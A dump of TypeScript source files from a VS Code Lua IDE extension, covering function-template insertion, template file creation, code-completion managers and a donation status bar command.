20 | if (args == null) return
21 | var document = editor.document;
22 | editor.edit(function (edit) {
23 | var tokens: Array = ProviderUtils.getTokens(document, editor.selection.end)
24 | var position: vscode.Position = null;
25 |
26 | if (tokens.length == 1) {
27 |
28 | position = new vscode.Position(tokens[0].line, 0)
29 | }
30 | var upToken: TokenInfo = null
31 | for (var index = tokens.length - 1; index >= 0; index--) {
32 | var currentToken: TokenInfo = tokens[index]
33 | if (currentToken.type == TokenTypes.Keyword && currentToken.value == "function") {
34 | position = new vscode.Position(tokens[index].line, tokens[index].lineStart)
35 | break
36 | }
37 | if (upToken) {
38 | if (upToken.type == TokenTypes.Identifier) {
39 | if (
40 | currentToken.type == TokenTypes.Identifier ||
41 | (currentToken.type == TokenTypes.Punctuator &&
42 | currentToken.value == ")")
43 | ) {
44 | position = new vscode.Position(upToken.line, 0)
45 | break
46 | }
47 | }
48 | }
49 | upToken = tokens[index]
50 | }
51 | var startIndex = 0
52 | for (var index = tokens.length - 1; index >= 0; index--) {
53 | if (tokens[index].type == TokenTypes.Keyword && tokens[index].value == "function") {
54 | startIndex = tokens[index].range.start - 1;
55 | break
56 | }
57 | }
58 | var startCount: number = 0
59 | var docText = document.getText()
60 | for (var index = startIndex; index >= 0; index--) {
61 | var char = docText.charAt(index)
62 | if (char == "\n") {
63 | break;
64 | }
65 | startCount++
66 | }
67 | startCount += 4
68 | var text: string = ExtensionManager.em.templateManager.getTemplateText(1)
69 |
70 | // var insterText: string = text.replace("{$functionName}", functionName)
71 | // .replace("{$time}", new Date().toISOString())
72 |
73 | var insterText: string = ExtensionManager.em.luaIdeConfigManager.replaceConfigValue(text, null)
74 | insterText = insterText.replace(new RegExp("{functionName}", "gm"), functionName)
75 | insterText = insterText + "\r\n";
76 | var insterTexts: Array = insterText.split("\r\n")
77 | var lineText = ""
78 | var tabCount = Math.ceil(startCount / 4)
79 | for (var j = 0; j < tabCount; j++) {
80 | if (insterTexts[i] != "") {
81 | lineText += "\t"
82 | }
83 | }
84 | for (var i = 0; i < insterTexts.length; i++) {
85 |
86 | if (insterTexts[i] != "{paramdesc}") {
87 | insterTexts[i] = lineText + insterTexts[i].trim()
88 | }
89 |
90 | }
91 | insterText = "\r\n";
92 | var j = 0;
93 | for (var i = 0; i < insterTexts.length; i++) {
94 | if (insterTexts[i] != "") {
95 | if (j == 0) {
96 | insterText += insterTexts[i]
97 | } else {
98 | insterText += "\r\n" + insterTexts[i]
99 | }
100 | j++;
101 | }
102 | }
103 |
104 | var paramDescStr: string = ""
105 | var paramStr: string = ""
106 | for (var index = 0; index < args.length; index++) {
107 | var arg = args[index]
108 | paramDescStr += lineText + "--@" + arg + ": \n"
109 | paramStr += arg + " ,"
110 | }
111 | paramStr = paramStr.substring(0, paramStr.length - 2)
112 | paramDescStr = paramDescStr.substring(0, paramDescStr.length - 2)
113 |
114 | if(paramDescStr == ""){
115 |
116 | insterText = insterText.replace("{paramdesc}\r\n","")
117 | }else
118 | {
119 | insterText = insterText.replace(new RegExp("{paramdesc}", "gm"), paramDescStr)
120 | }
121 |
122 | insterText = insterText.replace(new RegExp("{param}", "gm"), paramStr)
123 |
124 | edit.insert(position, insterText)
125 |
126 | });
127 |
128 | })
129 |
130 |
131 |
132 |
133 | }
134 |
--------------------------------------------------------------------------------
/src/luatool/ex/CreateMoudleFunction.ts:
--------------------------------------------------------------------------------
1 | import vscode = require('vscode');
2 | import { ProviderUtils } from '../provider/providerUtils'
3 | import { LuaParse } from '../LuaParse'
4 | import * as ExFileUtils from '../ex/ExFileUtils'
5 | import { ExtensionManager } from '../ex/ExtensionManager'
6 | import { getFunctionParameter } from '../ex/Template/FunctionParameter'
7 |
8 | import { LuaInfo, TokenInfo, TokenTypes, LuaComment, LuaRange, LuaErrorEnum, LuaError, LuaInfoType } from '../TokenInfo';
9 | export function createModuleFunction(e) {
10 | var editor = vscode.window.activeTextEditor;
11 | var functionName: string = editor.document.getText(editor.selection)
12 | if (functionName == null || functionName == "") {
13 | vscode.window.showInformationMessage("未选择方法名!")
14 | }
15 |
16 | var document = editor.document;
17 |
18 | var tokens: Array = ProviderUtils.getTokens(document, editor.selection.end)
19 | var moduleInfo = null;
20 | var startTokenIndex = 0
21 | var moduleName = null;
22 | if (tokens.length > 0) {
23 | moduleInfo = ProviderUtils.getSelfToModuleNameAndStartTokenIndex(document.uri, tokens, LuaParse.lp)
24 | if (moduleInfo != null) {
25 | moduleName = moduleInfo.moduleName
26 | startTokenIndex = moduleInfo.index
27 | } else {
28 | moduleInfo = {}
29 | }
30 | } else {
31 | moduleInfo = {}
32 | }
33 | var range: vscode.Range = moduleInfo.range;
34 | if (moduleName && moduleName != "") {
35 | inputFunctionName(editor, tokens, startTokenIndex, moduleName, range, functionName)
36 | } else {
37 | inputModuleName(editor, tokens, startTokenIndex, range, functionName)
38 | }
39 | }
40 | function inputModuleName(editor: vscode.TextEditor, tokens: Array, startTokenIndex: number, range: vscode.Range, functionName) {
41 | vscode.window.showInputBox({ prompt: "moduleName" }).then(moduleName => {
42 | moduleName = moduleName.trim();
43 | if (moduleName != "") {
44 | inputFunctionName(editor, tokens, startTokenIndex, moduleName, range, functionName);
45 | } else {
46 | inputModuleName(editor, tokens, startTokenIndex, range, functionName)
47 | }
48 | });
49 | }
50 | function inputFunctionName(editor: vscode.TextEditor, tokens: Array, startTokenIndex: number, moduleName: string, range: vscode.Range, functionName: string) {
51 |
52 | getFunctionParameter(function (args: Array) {
53 | if (args == null) return
54 | editor.edit(function (edit) {
55 | var position: vscode.Position = null;
56 | if (range != null) {
57 | position = new vscode.Position(range.end.line, range.end.character)
58 |
59 | } else {
60 | if (tokens.length == 0) {
61 | position = editor.selection.start;
62 | }
63 | else {
64 | var token: TokenInfo = tokens[startTokenIndex]
65 | if (token.comments.length == 0) {
66 | position = new vscode.Position(tokens[startTokenIndex].line - 1, tokens[startTokenIndex].lineStart)
67 |
68 | }
69 | else {
70 | var luaComment: LuaComment = token.comments[0]
71 | position = new vscode.Position(luaComment.range.start.line, 0)
72 | }
73 | }
74 | }
75 |
76 |
77 | var text: string = ExtensionManager.em.templateManager.getTemplateText(0)
78 |
79 | // var insterText: string = text.replace("${moduleName}", moduleName).
80 | // replace("${functionName}", functionName)
81 | // .replace("${time}", new Date().toISOString())
82 |
83 | var insterText: string = ExtensionManager.em.luaIdeConfigManager.replaceConfigValue(text, moduleName)
84 | insterText = insterText.replace(new RegExp("{functionName}", "gm"), functionName)
85 |
86 | var paramDescStr: string = ""
87 | var paramStr: string = ""
88 | for (var index = 0; index < args.length; index++) {
89 | var arg = args[index]
90 | paramDescStr += "--@" + arg + ": \n"
91 | paramStr += arg + " ,"
92 | }
93 | paramStr = paramStr.substring(0, paramStr.length - 2)
94 | paramDescStr = paramDescStr.substring(0, paramDescStr.length - 2)
95 | if(paramDescStr == ""){
96 |
97 | insterText = insterText.replace("{paramdesc}\r\n","")
98 | }else
99 | {
100 | insterText = insterText.replace(new RegExp("{paramdesc}", "gm"), paramDescStr)
101 | }
102 | insterText = insterText.replace(new RegExp("{param}", "gm"), paramStr)
103 | edit.insert(position,
104 | "\r\n" + insterText + "\r\n")
105 | range = new vscode.Range(position, position)
106 | editor.revealRange(range, vscode.TextEditorRevealType.InCenter)
107 |
108 | });
109 | })
110 |
111 |
112 | }
--------------------------------------------------------------------------------
/src/luatool/ex/ExFileUtils.ts:
--------------------------------------------------------------------------------
1 | import vscode = require('vscode');
2 | import {ExtensionManager} from '../ex/ExtensionManager';
3 | export function getAsAbsolutePath(path)
4 | {
5 | var p:string = ExtensionManager.em.golbal.context.asAbsolutePath(path)
6 | p = p.replace(/\\/g, "/");
7 | return p;
8 | }
9 |
10 |
--------------------------------------------------------------------------------
/src/luatool/ex/ExtensionManager.ts:
--------------------------------------------------------------------------------
1 | /* --------------------------------------------------------------------------------------------
2 | * Copyright (c) Microsoft Corporation. All rights reserved.
3 | * Licensed under the MIT License. See License.txt in the project root for license information.
4 | * ------------------------------------------------------------------------------------------ */
5 | 'use strict';
6 |
7 | import * as path from 'path';
8 |
9 | import { workspace, Disposable, ExtensionContext, window, TextDocumentChangeEvent } from 'vscode';
10 | import vscode = require('vscode');
11 | import * as cce from '../ex/ChangeCaseExtension';
12 | import * as cmf from '../ex/CreateMoudleFunction';
13 | import * as CreateFunction from '../ex/CreateFunction';
14 | import { LuaIdeConfigManager } from '../ex/LuaIdeConfigManager';
15 | import { TemplateManager } from '../ex/Template/TemplateManager';
16 | import { CreateTemplateFile } from '../ex/Template/CreateTemplateFile'
17 | import { OpenLuaLuaScriptText } from '../ex/LoadLuaScript'
18 | import { httpRequest } from "../../httpClient";
19 |
20 |
21 | export class ExtensionManager {
22 | public static em: ExtensionManager;
23 | // public outPutChannel:vscode.OutputChannel;
24 | public barItem:vscode.StatusBarItem;
25 | constructor(context: ExtensionContext) {
26 | ExtensionManager.em = this;
27 | this.InitEx(context)
28 | }
29 | public golbal = { context: null }
30 | public COMMAND_LABELS = {
31 | toUpperCase: 'toUpperCase',
32 | toLowerCase: 'toLowerCase',
33 | createModuleFunction: 'createModuleFunction',
34 | createFunction: "createFunction",
35 | createTemplateFile: "createTemplateFile",
36 | LoadLuaScript: "LoadLuaScript",
37 | chatShow: "chatShow",
38 | donate:"donate"
39 |
40 | };
41 | public COMMAND_DEFINITIONS = [
42 | { label: this.COMMAND_LABELS.toUpperCase, description: '转换为大写', func: cce.toUpperCase },
43 | { label: this.COMMAND_LABELS.toLowerCase, description: '转换为小写', func: cce.toLowerCase },
44 | { label: this.COMMAND_LABELS.createModuleFunction, description: '创建模块方法', func: cmf.createModuleFunction },
45 | { label: this.COMMAND_LABELS.createFunction, description: '创建方法', func: CreateFunction.createFunction },
46 | { label: this.COMMAND_LABELS.createTemplateFile, description: '创建模板文件', func: CreateTemplateFile.run },
47 | { label: this.COMMAND_LABELS.LoadLuaScript, description: '加载lua字符串', func: OpenLuaLuaScriptText },
48 | { label: this.COMMAND_LABELS.chatShow, description: '闲聊小功能', func: this.showChat },
49 | { label: this.COMMAND_LABELS.donate, description: '捐献', func: this.showdoNate },
50 | ];
51 | public showChat(e)
52 | {
53 | // this.outPutChannel.show();
54 |
55 | }
56 | public showdoNate(e)
57 | {
58 | var extensionPath = ExtensionManager.em.luaIdeConfigManager.extensionPath
59 | extensionPath = path.join(extensionPath, "images", "donate.html")
60 | var previewUri = vscode.Uri.file(extensionPath);
61 | vscode.commands.executeCommand('vscode.previewHtml', previewUri, vscode.ViewColumn.One, "谢谢您的支持").then(value => {
62 | // this.statisticsMain.sendMsg(StatisticsEvent.C2S_OpenRechrage)
63 | })
64 | }
65 | public TemplatePath = {
66 | CreateModuleFunctionTemplate: "Template\\CreateModuleFunctionTemplate.lua",
67 | CreateFunctionTemplate: "Template\\CreateFunctionTemplate.lua",
68 | }
69 | public luaIdeConfigManager: LuaIdeConfigManager;
70 | public templateManager: TemplateManager;
71 | public InitEx(context: ExtensionContext) {
72 | this.golbal.context = context;
73 | this.luaIdeConfigManager = new LuaIdeConfigManager();
74 | this.templateManager = new TemplateManager();
75 | this.luaIdeConfigManager.showRecharge();
76 |
77 | vscode.commands.registerCommand('luaide.changecase.toLowerCase', (e) => { this.RunCommand(this.COMMAND_LABELS.toLowerCase,e) });
78 | vscode.commands.registerCommand('luaide.changecase.toUpperCase', (e) => { this.RunCommand(this.COMMAND_LABELS.toUpperCase,e) });
79 | vscode.commands.registerCommand('luaide.utils.createModuleFunction', (e) => { this.RunCommand(this.COMMAND_LABELS.createModuleFunction,e) });
80 | vscode.commands.registerCommand('luaide.utils.createFunction', (e) => { this.RunCommand(this.COMMAND_LABELS.createFunction,e) });
81 | vscode.commands.registerCommand('luaide.utils.createTemplateFile', (e) => { this.RunCommand(this.COMMAND_LABELS.createTemplateFile,e) });
82 | vscode.commands.registerCommand('luaide.utils.LoadLuaScript', (e) => { this.RunCommand(this.COMMAND_LABELS.LoadLuaScript,e) });
83 | vscode.commands.registerCommand('luaide.donate', (e) => { this.RunCommand(this.COMMAND_LABELS.donate,e) });
84 |
85 | this.barItem = vscode.window.createStatusBarItem(vscode.StatusBarAlignment.Left)
86 | // this.outPutChannel = vscode.window.createOutputChannel("闲聊")
87 | // this.outPutChannel.show(true)
88 | // this.outPutChannel.appendLine("做着玩的一个小功能")
89 | context.subscriptions.push(this.barItem);
90 | // context.subscriptions.push(this.outPutChannel);
91 | this.barItem.tooltip = "为了LuaIde 更好的发展,请支持LuaIde."
92 | this.barItem.command = "luaide.donate"
93 | this.barItem.text = "捐献(LuaIde)"
94 | this.barItem.show();
95 | httpRequest();
96 | }
97 | private RunCommand(cmd,e) {
98 | for (var i = 0; i < this.COMMAND_DEFINITIONS.length; i++) {
99 | if (this.COMMAND_DEFINITIONS[i].label == cmd) {
100 | this.COMMAND_DEFINITIONS[i].func(e)
101 | break;
102 | }
103 | }
104 | // getTemplateText(TemplatePath.CreateModuleFunctionTemplate)
105 | }
106 |
107 |
108 |
109 | }
--------------------------------------------------------------------------------
/src/luatool/ex/LoadLuaScript.ts:
--------------------------------------------------------------------------------
1 | import vscode = require('vscode');
2 | var fs = require('fs');
3 | var path = require('path');
4 | var os = require('os')
5 | import { ExtensionManager } from '../ex/ExtensionManager'
6 | export function OpenLuaLuaScriptText(e) {
7 | var extensionPath =ExtensionManager.em.luaIdeConfigManager.extensionPath
8 | var srpitLuaPath = path.join(extensionPath, "Template", "LoadScript", "LoadScript.lua")
9 | return vscode.workspace.openTextDocument(srpitLuaPath).then(document => {
10 |
11 | return vscode.window.showTextDocument(document);
12 | }).then(editor => {
13 |
14 | return;
15 | }).then(() => {
16 |
17 | }, error => {
18 | console.log(error)
19 | });
20 | }
21 | export function LoadLuaScriptFun() {
22 |
23 | }
--------------------------------------------------------------------------------
/src/luatool/ex/Template/CreateTemplateFile.ts:
--------------------------------------------------------------------------------
1 | import { TemplateManager } from '../Template/TemplateManager';
2 | import { ExtensionManager } from '../ExtensionManager';
3 | import * as vscode from "vscode"
4 | var fs = require('fs');
5 | var os = require('os');
6 | var path = require('path');
7 | /**
8 | * 创建模板文件
9 | */
10 | export class CreateTemplateFile {
11 | public static run(e) {
12 |
13 | var templateManager: TemplateManager = ExtensionManager.em.templateManager
14 |
15 | var templates: Array = templateManager.getTemplates()
16 |
17 | if (templates != null) {
18 | if (templates.length > 0) {
19 | vscode.window.showQuickPick(templates).then(function (selection) {
20 | // nothing selected. cancel
21 | if (!selection) {
22 | return;
23 | }
24 |
25 | CreateTemplateFile.showInputBox(templateManager, selection,e)
26 | });
27 |
28 | } else {
29 | vscode.window.showInformationMessage("没有模板文件!")
30 | }
31 | }
32 |
33 |
34 | }
35 | public static showInputBox(templateManager, selection,e) {
36 | // ask for filename
37 | var inputOptions = {
38 | prompt: "请输入文件名",
39 | value: selection,
40 | };
41 | vscode.window.showInputBox(inputOptions).then(function (filename) {
42 | if (filename == "") {
43 | CreateTemplateFile.showInputBox(templateManager, selection,e)
44 | return
45 | } else {
46 | var fileContents = templateManager.getTemplate(selection);
47 | var templateFile = ""
48 | if(e != null && e.fsPath != null){
49 | templateFile = e.fsPath
50 | }else
51 | {
52 | //找到需要创建文件的路径
53 | var editor: vscode.TextEditor = vscode.window.activeTextEditor;
54 |
55 | templateFile = path.dirname(path)
56 |
57 | }
58 | //判断有没有.lua 后缀 如果没有添加
59 | var lastIndex: number = filename.lastIndexOf(".lua")
60 | if (lastIndex != filename.length - 4) {
61 | filename += ".lua";
62 | }
63 | var moduleName = filename.substring(0, filename.length - 4)
64 | fileContents = fileContents.replace("${moduleName}", moduleName)
65 | fileContents = ExtensionManager.em.luaIdeConfigManager.replaceConfigValue(fileContents, moduleName)
66 | fs.writeFile(path.join(templateFile, filename), fileContents, function (err) {
67 | if (err) {
68 | vscode.window.showErrorMessage(err.message);
69 | }
70 | vscode.window.showInformationMessage(filename + " created");
71 | });
72 | }
73 |
74 | });
75 |
76 | }
77 |
78 | }
--------------------------------------------------------------------------------
/src/luatool/ex/Template/FunctionParameter.ts:
--------------------------------------------------------------------------------
1 | import vscode = require('vscode');
2 | export function getFunctionParameter(callBack: Function) {
3 |
4 | //设置参数名字
5 | vscode.window.showInputBox({ prompt: "请输入参数个数!", value: "0" }).then(num => {
6 | if (num == null) {
7 | //取消
8 | callBack(null)
9 | }
10 | var n = Number(num)
11 | var args: Array = new Array();
12 | if (isNaN(n) || n < 0) {
13 | getFunctionParameter(callBack)
14 | } else if (n == 0) {
15 | callBack(args)
16 | } else {
17 |
18 | getParameterIndex(args, n, 0, callBack)
19 | }
20 |
21 | })
22 | }
23 | function getParameterIndex(args: Array, maxCount: number, index: number, callBack: Function) {
24 | vscode.window.showInputBox({ prompt: "parameter" + (index + 1), value: "parameter" + (index + 1) }).then(parameter => {
25 | args.push(parameter)
26 |
27 | if (index >= maxCount - 1) {
28 | callBack(args);
29 | } else {
30 | index++;
31 | getParameterIndex(args, maxCount, index, callBack)
32 | }
33 |
34 | })
35 | }
--------------------------------------------------------------------------------
/src/luatool/ex/Template/TemplateManager.ts:
--------------------------------------------------------------------------------
1 | import vscode = require('vscode');
2 | 'use strict';
3 | var fs = require('fs');
4 | var path = require('path');
5 | var os = require('os');
6 | import { ExtensionManager } from '../ExtensionManager';
7 | import * as ExFileUtils from '../ExFileUtils';
8 | import * as Utils from '../../Utils';
9 | import cp = require('child_process');
10 | export class TemplateManager {
11 |
12 |
13 | private fTemplate: Array;
14 | private paths: Array = new Array();
15 | private functionDocs: Array = new Array();
16 |
17 | private userFileTemplate: string = null;
18 | private isUserFuncctionPath: boolean = false
19 | private defaultFunTempl: string = "";
20 | constructor() {
21 | this.InitTemplate()
22 | }
23 | public InitTemplate() {
24 | this.fTemplate = [
25 | "CreateModuleFunctionTemplate.lua",
26 | "CreateFunctionTemplate.lua",
27 | ];
28 | var extensionPath = ExtensionManager.em.luaIdeConfigManager.extensionPath
29 | this.defaultFunTempl = path.join(extensionPath, 'Template', 'funTemplate');
30 |
31 | //检查
32 | var dir: string = this.getTemplatesDir();
33 | if (dir) {
34 | var fileTemplate = path.join(dir, "FileTemplates")
35 | this.userFileTemplate = fileTemplate
36 | if (!fs.existsSync(fileTemplate)) {
37 | //判断是否有模板文件夹
38 | if (!fs.existsSync(this.userFileTemplate)) {
39 | var creats = fs.mkdirSync(this.userFileTemplate, '0755');
40 | }
41 |
42 | }
43 | //检查function 目录
44 | var funcitonTemplates: string = path.join(dir, 'FunTemplate')
45 | if (!fs.existsSync(funcitonTemplates)) {
46 | var creats = fs.mkdirSync(funcitonTemplates, '0755');
47 | }
48 | this.copyFunTemplate(funcitonTemplates);
49 | }
50 | this.initFunTemplateConfig();
51 |
52 | }
53 |
54 |
55 | private copyFunTemplate(funPath: string) {
56 | var isChange: boolean = true
57 | for (var i = 0; i < this.fTemplate.length; i++) {
58 | var filePath: string = path.join(funPath, this.fTemplate[i])
59 | if (!fs.existsSync(filePath)) {
60 | var src = path.join(this.defaultFunTempl, this.fTemplate[i])
61 | try {
62 | fs.writeFileSync(filePath, fs.readFileSync(src));
63 | } catch (err) {
64 | isChange = false
65 | }
66 | }
67 | }
68 | if (isChange) {
69 | this.defaultFunTempl = funPath;
70 | }
71 |
72 |
73 | }
74 |
75 |
76 | private initFunTemplateConfig() {
77 | for (var i = 0; i < this.fTemplate.length; i++) {
78 | var fpath = path.join(this.defaultFunTempl, this.fTemplate[i]);
79 | this.paths.push(fpath);
80 | }
81 | this.loadText(0)
82 | }
83 | public getTemplate(filename) {
84 |
85 | var contentText = fs.readFileSync(path.join(this.userFileTemplate, filename), 'utf-8');
86 | return contentText;
87 | };
88 | public loadText(index: number) {
89 | if (index < this.paths.length) {
90 | var path: string = this.paths[index]
91 | vscode.workspace.openTextDocument(path).then(
92 | doc => {
93 | this.functionDocs.push(doc.getText())
94 | index = index + 1;
95 | this.loadText(index)
96 | });
97 | }
98 | }
99 | public getTemplateText(index: number) {
100 | return this.functionDocs[index]
101 | }
102 | public getTemplates(): Array {
103 |
104 | if (this.userFileTemplate) {
105 |
106 | if (fs.existsSync(this.userFileTemplate)) {
107 | var rootPath = this.userFileTemplate
108 | var templateFiles = fs.readdirSync(rootPath).map(function (item) {
109 | return fs.statSync(path.join(rootPath, item)).isFile() ? item : null;
110 | }).filter(function (filename) {
111 | return filename !== null;
112 | });
113 | return templateFiles;
114 | }
115 | }
116 | return null;
117 | };
118 |
119 | public chekFileTemplatesDir(): boolean {
120 | if (this.userFileTemplate) {
121 | return true
122 | } else {
123 | return false
124 | }
125 | }
126 | public getTemplatesDir(): string {
127 | return ExtensionManager.em.luaIdeConfigManager.luaTemplatesDir
128 | }
129 |
130 |
131 |
132 |
133 |
134 | }
--------------------------------------------------------------------------------
/src/luatool/ex/UserInfo.ts:
--------------------------------------------------------------------------------
1 | export class UserInfo
2 | {
3 | public uuid:string;
4 | public donateShowMonth:string;
5 | public showIndex:number;
6 |
7 | public donateInfo:Array;
8 | constructor(info)
9 | {
10 | if(info == null){
11 | this.uuid = this.createUuid();
12 | this.donateShowMonth = ""
13 | this.showIndex = 0
14 | this.donateInfo = [false,false]
15 | }else
16 | {
17 | this.donateInfo = info.donateInfo
18 | if(this.donateInfo == null)
19 | {
20 | this.donateInfo = [false,false]
21 | }
22 | this.uuid = info.uuid
23 | this.donateShowMonth = info.donateShowMonth
24 | this.showIndex = info.showIndex
25 | this.showIndex = this.showIndex == null ?0 :this.showIndex
26 | }
27 | }
28 | private createUuid() {
29 | var s = [];
30 | var hexDigits = "0123456789abcdef";
31 | for (var i = 0; i < 36; i++) {
32 | s[i] = hexDigits.substr(Math.floor(Math.random() * 0x10), 1);
33 | }
34 | s[14] = "4"; // bits 12-15 of the time_hi_and_version field to 0010
35 | s[19] = hexDigits.substr((s[19] & 0x3) | 0x8, 1); // bits 6-7 of the clock_seq_hi_and_reserved to 01
36 | s[8] = s[13] = s[18] = s[23] = "-";
37 |
38 | var uuid = s.join("");
39 | return uuid;
40 | }
41 | public toString():string
42 | {
43 | var data:any = {}
44 | data.uuid = this.uuid;
45 | data.donateShowMonth = this.donateShowMonth;
46 | data.showIndex = this.showIndex
47 | data.donateInfo = this.donateInfo
48 | return JSON.stringify(data)
49 | }
50 |
51 |
52 | }
--------------------------------------------------------------------------------
/src/luatool/manager/CacheCompletionInfo.ts:
--------------------------------------------------------------------------------
1 | //缓存 避免提示chuanghuan
2 | import { LuaFiledCompletionInfo } from "../provider/LuaFiledCompletionInfo";
3 | import { CompletionItem,CompletionItemKind } from "vscode";
4 |
5 | export class CacheCompletionInfo {
6 | public static ins:CacheCompletionInfo;
7 | public static getIns(){
8 | if(CacheCompletionInfo.ins == null){
9 | CacheCompletionInfo.ins = new CacheCompletionInfo();
10 | }
11 | return CacheCompletionInfo.ins;
12 | }
13 | private infos:Array;
14 | public constructor(){
15 | this.infos = new Array()
16 | }
17 | public getItem(item:LuaFiledCompletionInfo){
18 | var newItem:CompletionItem = null;
19 | if(this.infos.length==0){
20 | newItem = new CompletionItem(item.funLable,CompletionItemKind.Function);
21 | }else{
22 | newItem = this.infos.pop();
23 | }
24 | newItem.label = item.funLable;
25 | newItem.documentation = item.documentation;
26 | newItem.insertText = item.funvSnippetString == null ?item.funLable : item.funvSnippetString;
27 | return newItem;
28 | }
29 | public pushItems(items:Array){
30 | items.forEach(v=>{
31 | this.infos.push(v)
32 | })
33 | }
34 |
35 | }
36 |
--------------------------------------------------------------------------------
/src/luatool/manager/CommentLuaCompletionManager.ts:
--------------------------------------------------------------------------------
1 | import { CompletionItem, CompletionItemKind,TextDocument} from 'vscode';
2 | export class CommentLuaCompletionManager{
3 | public static ins:CommentLuaCompletionManager;
4 | public items:Array;
5 | constructor(){
6 | this.items = new Array();
7 | var completions = [
8 | {
9 | name:"return",
10 | comment:"返回值注释 例:@return [com.app.Model.TestModel]",
11 | insertText:"return "
12 | },
13 | {
14 | name:"parentClass",
15 | comment:"module继承注释 例:@parentClass [com.app.Model.TestModel]",
16 | insertText:"parentClass "
17 | },
18 | {
19 | name:"valueReference",
20 | comment:"变量引用注释 例:@valueReference [com.app.Model.TestModel]",
21 | insertText:"valueReference "
22 | },
23 | {
24 | name:"desc",
25 | comment:"方法描述",
26 | insertText:"desc"
27 | },
28 |
29 | ]
30 | completions.forEach(v=>{
31 | var item:CompletionItem = new CompletionItem(v.name,CompletionItemKind.Property)
32 | item.documentation = v.comment;
33 | item.insertText = v.insertText;
34 |
35 | this.items.push(item)
36 | })
37 |
38 |
39 | }
40 |
41 |
42 |
43 | public static getIns(){
44 | if(CommentLuaCompletionManager.ins == null){
45 | CommentLuaCompletionManager.ins = new CommentLuaCompletionManager();
46 | }
47 | return CommentLuaCompletionManager.ins;
48 | }
49 |
50 | }
--------------------------------------------------------------------------------
/src/luatool/manager/LuaFileCompletionItems.ts:
--------------------------------------------------------------------------------
1 | import vscode = require('vscode');
2 | import { LuaFiledCompletionInfo } from "../provider/LuaFiledCompletionInfo"
3 | import { ExtensionManager } from "../ex/ExtensionManager"
4 | var ospath = require("path")
5 | /**
6 | * 存储项目中的路径
7 | */
8 | export class LuaFileCompletionItems {
9 | private static _ins: LuaFileCompletionItems;
10 |
11 | public static getLuaFileCompletionItems() {
12 | if (LuaFileCompletionItems._ins == null) {
13 | LuaFileCompletionItems._ins = new LuaFileCompletionItems()
14 | }
15 | return LuaFileCompletionItems._ins;
16 | }
17 | public fileExtnames:Array;
18 | public completions: Array;
19 | public modulePaths:Map>;
20 | public constructor() {
21 | this.fileExtnames = new Array();
22 | this.fileExtnames.push(".lua")
23 | this.completions = new Array()
24 | this.modulePaths = new Map>()
25 | }
26 | public getUriCompletionByModuleName(moduleName:string){
27 | for (var index = 0; index < this.completions.length; index++) {
28 | var element = this.completions[index];
29 | if(moduleName == element.label){
30 | return element.uri
31 | }
32 | }
33 |
34 |
35 | }
36 | /**
37 | * 获取路径集合根据moduleName
38 | */
39 | public getUrisByModuleName(moduleName:string):Array{
40 | var lowermoduleName = moduleName.toLowerCase()
41 | if( this.modulePaths.has(lowermoduleName)){
42 | return this.modulePaths.get(lowermoduleName)
43 | }
44 | return null
45 | }
46 |
47 |
48 |
49 |
50 | public addCompletion(path: vscode.Uri, isCheck: boolean) {
51 | if (isCheck) {
52 | for (var index = 0; index < this.completions.length; index++) {
53 | var element = this.completions[index];
54 | if (element.uri.path == path.path) {
55 | return
56 | }
57 | }
58 | }
59 | var position: vscode.Position = new vscode.Position(1, 1)
60 | var str:string = path.fsPath
61 |
62 | for (var index = 0; index < this.fileExtnames.length; index++) {
63 |
64 | var extname = this.fileExtnames[index];
65 | var extname1 = ospath.extname(str)
66 | if(extname == extname1){
67 | str = str.substring(0,str.length-extname1.length)
68 | break;
69 | }
70 |
71 | }
72 |
73 | str = str.replace(/\\/g, "/");
74 | str = str.replace(new RegExp("/", "gm"), ".")
75 | var str_1 = str.toLowerCase()
76 |
77 | ExtensionManager.em.luaIdeConfigManager.scriptRoots.forEach(scriptPath=>{
78 | var scriptPath_1 =scriptPath;
79 |
80 | var index = str_1.indexOf(scriptPath_1)
81 | if (index > -1) {
82 | var length = scriptPath_1.length;
83 | str = str.substring(index+length)
84 | if(str.charAt(0) == "."){
85 | str = str.substring(1)
86 | }
87 | var names:Array =str.split(".")
88 | var moduleName:string = names[names.length-1]
89 | var moduleNameLower = moduleName.toLowerCase()
90 | if(!this.modulePaths.has(moduleNameLower)){
91 | this.modulePaths.set(moduleNameLower,new Array());
92 | }
93 | var paths:Array = this.modulePaths.get(moduleNameLower)
94 | if(paths.indexOf(path.path) == -1){
95 | paths.push(path.path)
96 | var completion: LuaFiledCompletionInfo = new LuaFiledCompletionInfo(
97 | str, vscode.CompletionItemKind.Class, path, position,false)
98 | this.completions.push(completion)
99 | }
100 |
101 | }
102 |
103 | })
104 |
105 |
106 | }
107 | }
108 |
--------------------------------------------------------------------------------
/src/luatool/manager/LuaGolbalCompletionManager.ts:
--------------------------------------------------------------------------------
1 | import { LuaFiledCompletionInfo } from "../provider/LuaFiledCompletionInfo";
2 | import { CompletionItemKind } from "vscode";
3 |
4 | export class LuaGolbalCompletionManager {
5 | public static rootCompletion: LuaFiledCompletionInfo = new LuaFiledCompletionInfo("", CompletionItemKind.Field, null, null, false);
6 | public static setGolbalCompletion(completion: LuaFiledCompletionInfo) {
7 | completion.getItems().forEach((v, k) => {
8 | this.rootCompletion.addItemToGolbal(v)
9 | })
10 | // console.log(this.rootCompletion.items)
11 | }
12 | public static clearGolbalCompletion(completion: LuaFiledCompletionInfo) {
13 | completion.getItems().forEach((v, k) => {
14 | this.rootCompletion.delItemToGolbal(v)
15 | })
16 | }
17 |
18 | public static getCompletionByKeys(keys:Array)
19 | {
20 | var item = this.rootCompletion;
21 | for (var index = 0; index < keys.length; index++) {
22 | var key = keys[index];
23 | item = item.getItemByKey(key,true)
24 | if(item == null){
25 | break;
26 | }
27 | index++;
28 | }
29 | return item;
30 |
31 | }
32 |
33 | }
--------------------------------------------------------------------------------
/src/luatool/manager/LuaSymbolInformation.ts:
--------------------------------------------------------------------------------
1 | import vscode = require('vscode');
2 | import {LuaFiledCompletionInfo} from "../provider/LuaFiledCompletionInfo"
3 | import {CLog,getParamComment,getTokens,getFirstComments} from '../Utils'
4 | import { LuaInfo, TokenInfo, TokenTypes, LuaComment, LuaRange, LuaErrorEnum, LuaError, LuaInfoType} from '../TokenInfo';
5 | export class LuaSymbolInformation extends vscode.SymbolInformation
6 | {
7 | public isLocal:boolean = false;
8 | public argLuaFiledCompleteInfos:Array;
9 | private uri_:vscode.Uri;
10 | private range_:vscode.Range;
11 | public parent:LuaSymbolInformation;
12 | constructor(name: string, kind: vscode.SymbolKind, range: vscode.Range, uri?: vscode.Uri, containerName?: string)
13 | {
14 |
